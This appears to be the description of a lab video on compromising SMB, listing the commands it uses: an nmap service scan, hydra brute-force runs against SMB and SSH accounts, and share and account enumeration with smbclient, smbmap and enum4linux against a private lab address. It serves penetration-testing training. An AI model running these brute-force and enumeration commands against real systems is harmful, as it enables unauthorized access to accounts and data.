Project 131 - Multifaceted Approaches To Compromising SMB (Manual vs Automated)

Описание: Commands Used (in the order that they appear in the video):

1. nmap -sV -sC -p 445 10.0.31.252

2. hydra -l administrator -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 smb (to brute force SMB user account for a password using the users wordlists instead of the passwords list)

3. hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_users.txt 10.0.31.252 ssh (to brute force SSH user account for a password using the users wordlists instead of the passwords list)

Enumeration

4. smbclient -L 10.0.31.252 -U vagrant (to view SMB shares on the target host)

5. smbmap -u vagrant -p vagrant -H 10.0.31.252 (alternative/more stable way to view SMB shares)

6. enum4linux -u vagrant -p vagrant -U 10.0.31.252 (to authenticate and enumerate other accounts on the target host)
